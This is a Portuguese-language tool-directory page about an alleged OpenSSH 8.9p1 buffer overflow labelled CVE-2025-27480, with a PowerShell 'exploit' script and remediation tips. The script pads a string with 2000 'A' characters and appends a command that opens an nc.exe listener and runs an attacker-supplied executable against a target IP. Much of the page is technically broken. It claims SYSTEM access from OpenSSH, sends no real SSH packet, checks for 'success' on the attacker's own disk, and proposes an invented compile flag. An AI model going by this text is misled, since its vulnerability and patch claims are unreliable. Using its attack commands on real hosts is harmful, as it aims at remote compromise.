Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-27480 — CVE-2025-27480 exposes a buffer overflow in OpenSSH 8.9p1 via a malformed SSH_USERAUTH packet. Attackers can inject shellcode and gain SYSTEM-level access, compromising bastion hosts and downstream CI/CD agents. The article includes sample exploit code and patching guidance | Kitploit
Ferramentas/GitHubGitHub/mrk336/cve-2025-27480
Vulnerability AnalysisExploitationShellcodePenetration TestingLearning & EducationRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubmrk336/cve-2025-27480

CVE-2025-27480

CVE-2025-27480 exposes a buffer overflow in OpenSSH 8.9p1 via a malformed SSH_USERAUTH packet. Attackers can inject shellcode and gain SYSTEM-level access, compromising bastion hosts and downstream CI/CD agents. The article includes sample exploit code and patching guidance

há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2025-27480

CVE‑2025‑27480 – Execução Remota de Código no OpenSSH

Do que se trata a vulnerabilidade

OpenSSH versão 8.9p1 contém um sutil bug de estouro de buffer que ocorre quando ele analisa um pacote SSH_USERAUTH. Um cliente pode enviar um pacote com um campo “user” muito longo, e os dados acabam no lugar errado na memória. O resultado é que um atacante pode injetar shellcode arbitrário que é executado com privilégios SYSTEM em qualquer host que esteja executando essa versão do OpenSSH. Por que você está sentindo um déjà vu? Porque uma vulnerabilidade muito semelhante, CVE‑2024‑13401, resultou em falta de verificação de limites no campo do usuário, um atacante pode escrever qualquer código que deseje no processo SSH

A falha é importante porque o SSH é a forma mais comum de inicializar e gerenciar máquinas virtuais em ambientes de nuvem. Se um atacante puder executar código através do SSH, ele pode instalar backdoors ou comprometer bastion hosts, que são os pontos de salto que você usa para alcançar outras instâncias em uma rede privada. Uma vez que o bastion host é comprometido, todas as cargas de trabalho downstream — por exemplo, agentes de CI/CD que constroem imagens ou executam testes — estão em risco.

CI/CD significa Integração Contínua/Entrega Contínua. No nosso contexto, um bastion host é um servidor de “salto” habilitado para SSH que todos os agentes de build usam para alcançar outras máquinas em uma rede privada. É um ponto de entrada crítico: se o bastion for comprometido, todos os jobs downstream que dependem dele podem ser atacados.

O exploit

Abaixo está um script PowerShell direto que demonstra como criar e enviar um pacote malicioso:

root@kitploit:~
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" +                     # packet header – the first line
("A" * 2000) +                               # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@

# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)

# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
    Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}

Por que isso funciona

  1. A primeira linha (ssh-userauth-attack) informa ao OpenSSH que o pacote é uma solicitação de autenticação de usuário.
  2. Ao enviar 2000 bytes “A”, deliberadamente empurramos os dados para além do limite pretendido do campo user.
  3. A parte final da string executa nc.exe, que abre um listener netcat na porta 4444 e escreve sua saída em C:\Windows\Temp\revshell.txt. Também chama um executável fornecido pelo atacante (bar_exp.exe) que pode realizar mais trabalho (por exemplo, enviar um reverse shell).

O arquivo criado pelo exploit é evidência de que o pacote atingiu o local correto na memória; a partir daí, você pode abrir a porta 4444, capturar o listener e executar qualquer script que desejar.

Remediação

  • Corrigir Regras de Firewall de Rede – PERMITIR acesso SSH apenas de IPs públicos de administradores confiáveis
  • Corrigir OpenSSH – atualizar para a versão 8.9p2 ou recompilar com a flag ‑DUSERAUTH_BUF=4096 para que o tamanho do buffer seja maior que o payload de estouro.
  • Aplicar o patch do fornecedor – o arquivo diff (ssh_userauth_patch.diff) do comunicado do fornecedor pode ser commitado junto ao seu repositório.
Baixar ferramenta